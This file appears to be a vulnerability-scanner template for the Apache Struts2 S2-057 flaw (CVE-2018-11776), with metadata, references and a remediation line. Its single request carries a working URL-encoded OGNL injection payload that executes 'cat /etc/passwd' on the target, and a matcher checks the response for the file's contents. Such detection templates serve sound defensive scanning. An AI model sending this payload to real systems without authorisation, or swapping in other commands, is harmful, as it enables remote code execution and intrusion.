id: CVE-2018-11776

info:
  name: Apache Struts2 S2-057 - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.
  impact: |
    Remote code execution
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
  reference:
    - https://github.com/jas502n/St2-057
    - https://cwiki.apache.org/confluence/display/WW/S2-057
    - https://security.netapp.com/advisory/ntap-20180822-0001/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
    - http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-11776
    cwe-id: CWE-20
    epss-score: 0.97517
    epss-percentile: 0.99985
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
  tags: cve,cve2018,packetstorm,apache,rce,struts,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ab1c51e0504628fe004acf4adeb03221ca6e19060ece841c357bd983b6d698760221009d5e783a014ec2025efc6cb4589970bba73805b98312143cd27a9ac719bdee2c:922c64590222798bb761d5b6d8e72950